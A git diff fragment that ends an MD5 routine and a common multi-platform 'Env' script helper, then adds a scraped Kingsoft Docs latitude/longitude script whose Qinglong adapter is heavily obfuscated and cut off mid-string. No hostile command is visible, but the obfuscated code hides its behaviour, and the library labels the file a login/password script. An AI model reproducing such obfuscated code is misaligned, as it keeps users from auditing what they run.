% 4) * 8), (g[b] = g[b] | (128 << h)), (g[f - 2] = c << 3), (g[f - 1] = c >>> 29), g); } function m(a) { var b, c, d = "", e = ""; for (c = 0; 3 >= c; c++) (b = (a >>> (8 * c)) & 255), (e = "0" + b.toString(16)), (d += e.substr(e.length - 2, 2)); return d; } function n(a) { a = a.replace(/\r\n/g, "\n"); for (var b = "", c = 0; c < a.length; c++) { var d = a.charCodeAt(c); 128 > d ? (b += String.fromCharCode(d)) : d > 127 && 2048 > d ? ((b += String.fromCharCode((d >> 6) | 192)), (b += String.fromCharCode((63 & d) | 128))) : ((b += String.fromCharCode((d >> 12) | 224)), (b += String.fromCharCode(((d >> 6) & 63) | 128)), (b += String.fromCharCode((63 & d) | 128))); } return b; } var o, p, q, r, s, t, u, v, w, x = [], y = 7, z = 12, A = 17, B = 22, C = 5, D = 9, E = 14, F = 20, G = 4, H = 11, I = 16, J = 23, K = 6, L = 10, M = 15, N = 21; for (a = n(a), x = l(a), t = 1732584193, u = 4023233417, v = 2562383102, w = 271733878, o = 0; o < x.length; o += 16) (p = t), (q = u), (r = v), (s = w), (t = h(t, u, v, w, x[o + 0], y, 3614090360)), (w = h(w, t, u, v, x[o + 1], z, 3905402710)), (v = h(v, w, t, u, x[o + 2], A, 606105819)), (u = h(u, v, w, t, x[o + 3], B, 3250441966)), (t = h(t, u, v, w, x[o + 4], y, 4118548399)), (w = h(w, t, u, v, x[o + 5], z, 1200080426)), (v = h(v, w, t, u, x[o + 6], A, 2821735955)), (u = h(u, v, w, t, x[o + 7], B, 4249261313)), (t = h(t, u, v, w, x[o + 8], y, 1770035416)), (w = h(w, t, u, v, x[o + 9], z, 2336552879)), (v = h(v, w, t, u, x[o + 10], A, 4294925233)), (u = h(u, v, w, t, x[o + 11], B, 2304563134)), (t = h(t, u, v, w, x[o + 12], y, 1804603682)), (w = h(w, t, u, v, x[o + 13], z, 4254626195)), (v = h(v, w, t, u, x[o + 14], A, 2792965006)), (u = h(u, v, w, t, x[o + 15], B, 1236535329)), (t = i(t, u, v, w, x[o + 1], C, 4129170786)), (w = i(w, t, u, v, x[o + 6], D, 3225465664)), (v = i(v, w, t, u, x[o + 11], E, 643717713)), (u = i(u, v, w, t, x[o + 0], F, 3921069994)), (t = i(t, u, v, w, x[o + 5], C, 3593408605)), (w = i(w, t, u, v, x[o + 10], D, 38016083)), (v = i(v, w, t, u, x[o + 15], E, 3634488961)), (u = i(u, v, w, t, x[o + 4], F, 3889429448)), (t = i(t, u, v, w, x[o + 9], C, 568446438)), (w = i(w, t, u, v, x[o + 14], D, 3275163606)), (v = i(v, w, t, u, x[o + 3], E, 4107603335)), (u = i(u, v, w, t, x[o + 8], F, 1163531501)), (t = i(t, u, v, w, x[o + 13], C, 2850285829)), (w = i(w, t, u, v, x[o + 2], D, 4243563512)), (v = i(v, w, t, u, x[o + 7], E, 1735328473)), (u = i(u, v, w, t, x[o + 12], F, 2368359562)), (t = j(t, u, v, w, x[o + 5], G, 4294588738)), (w = j(w, t, u, v, x[o + 8], H, 2272392833)), (v = j(v, w, t, u, x[o + 11], I, 1839030562)), (u = j(u, v, w, t, x[o + 14], J, 4259657740)), (t = j(t, u, v, w, x[o + 1], G, 2763975236)), (w = j(w, t, u, v, x[o + 4], H, 1272893353)), (v = j(v, w, t, u, x[o + 7], I, 4139469664)), (u = j(u, v, w, t, x[o + 10], J, 3200236656)), (t = j(t, u, v, w, x[o + 13], G, 681279174)), (w = j(w, t, u, v, x[o + 0], H, 3936430074)), (v = j(v, w, t, u, x[o + 3], I, 3572445317)), (u = j(u, v, w, t, x[o + 6], J, 76029189)), (t = j(t, u, v, w, x[o + 9], G, 3654602809)), (w = j(w, t, u, v, x[o + 12], H, 3873151461)), (v = j(v, w, t, u, x[o + 15], I, 530742520)), (u = j(u, v, w, t, x[o + 2], J, 3299628645)), (t = k(t, u, v, w, x[o + 0], K, 4096336452)), (w = k(w, t, u, v, x[o + 7], L, 1126891415)), (v = k(v, w, t, u, x[o + 14], M, 2878612391)), (u = k(u, v, w, t, x[o + 5], N, 4237533241)), (t = k(t, u, v, w, x[o + 12], K, 1700485571)), (w = k(w, t, u, v, x[o + 3], L, 2399980690)), (v = k(v, w, t, u, x[o + 10], M, 4293915773)), (u = k(u, v, w, t, x[o + 1], N, 2240044497)), (t = k(t, u, v, w, x[o + 8], K, 1873313359)), (w = k(w, t, u, v, x[o + 15], L, 4264355552)), (v = k(v, w, t, u, x[o + 6], M, 2734768916)), (u = k(u, v, w, t, x[o + 13], N, 1309151649)), (t = k(t, u, v, w, x[o + 4], K, 4149444226)), (w = k(w, t, u, v, x[o + 11], L, 3174756917)), (v = k(v, w, t, u, x[o + 2], M, 718787259)), (u = k(u, v, w, t, x[o + 9], N, 3951481745)), (t = c(t, p)), (u = c(u, q)), (v = c(v, r)), (w = c(w, s)); var O = m(t) + m(u) + m(v) + m(w); return O.toLowerCase(); } +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, a) => { s.call(this, t, (t, s, r) => { t ? a(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.encoding = "utf-8", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const a = this.getdata(t); if (a) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, a) => e(a)) }) } runScript(t, e) { return new Promise(s => { let a = this.getdata("@chavy_boxjs_userCfgs.httpapi"); a = a ? a.replace(/\n/g, "").trim() : a; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [i, o] = a.split("@"), n = { url: `http://${o}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": i, Accept: "*/*" }, timeout: r }; this.post(n, (t, e, a) => s(a)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e); if (!s && !a) return {}; { const a = s ? t : e; try { return JSON.parse(this.fs.readFileSync(a)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : a ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const a = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of a) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, a) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[a + 1]) >> 0 == +e[a + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, a] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, a, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, a, r] = /^@(.*?)\.(.*?)$/.exec(e), i = this.getval(a), o = a ? "null" === i ? null : i || "{}" : "{}"; try { const e = JSON.parse(o); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), a) } catch (e) { const i = {}; this.lodash_set(i, r, t), s = this.setval(JSON.stringify(i), a) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return this.data = this.loaddata(), this.data[t]; default: return this.data && this.data[t] || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0; default: return this.data && this.data[e] || null } } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { switch (t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"], delete t.headers["content-type"], delete t.headers["content-length"]), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && t.error || "UndefinedError")); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: a, statusCode: r, headers: i, rawBody: o } = t, n = s.decode(o, this.encoding); e(null, { status: a, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: a, response: r } = t; e(a, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = (() => { })) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch (t.body && t.headers && !t.headers["Content-Type"] && !t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && t.error || "UndefinedError")); break; case "Node.js": let a = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...i } = t; this.got[s](r, i).then(t => { const { statusCode: s, statusCode: r, headers: i, rawBody: o } = t, n = a.decode(o, this.encoding); e(null, { status: s, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: s, response: r } = t; e(s, r, r && a.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let a = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in a) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? a[e] : ("00" + a[e]).substr(("" + a[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let a = t[s]; null != a && "" !== a && ("object" == typeof a && (a = JSON.stringify(a)), e += `${s}=${a}&`) } return e = e.substring(0, e.length - 1), e } msg(e = t, s = "", a = "", r) { const i = t => { switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } case "Loon": { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } case "Quantumult X": { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, a = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": a } } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, a, i(r)); break; case "Quantumult X": $notify(e, s, a, i(r)); break; case "Node.js": }if (!this.isMuteLog) { let t = ["", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="]; t.push(e), s && t.push(s), a && t.push(a), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t); break; case "Node.js": this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) } } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; switch (this.log("", `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`), this.log(), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } }(t, e) } \ No newline at end of file diff --git a/脚本库/web版/账密/经纬度解析/2025-08-25_lnglat_aa6d5e0b.js b/脚本库/web版/账密/经纬度解析/2025-08-25_lnglat_aa6d5e0b.js new file mode 100644 index 0000000..059c42e --- /dev/null +++ b/脚本库/web版/账密/经纬度解析/2025-08-25_lnglat_aa6d5e0b.js @@ -0,0 +1,600 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/lnglat.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/lnglat.js +// # Repo: imoki/sign_script +// # Path: polymerization/lnglat.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: aa6d5e0be0562ffaf53c20484159ed87396e19b39eae15204105371c24f5426c +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "经纬度解析" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240408 + 环境变量名:lnglat + 环境变量值:无(修改这里) +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "lnglat"; // 分配置表名称, (修改这里) +var pushHeader = "【经纬度解析】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB 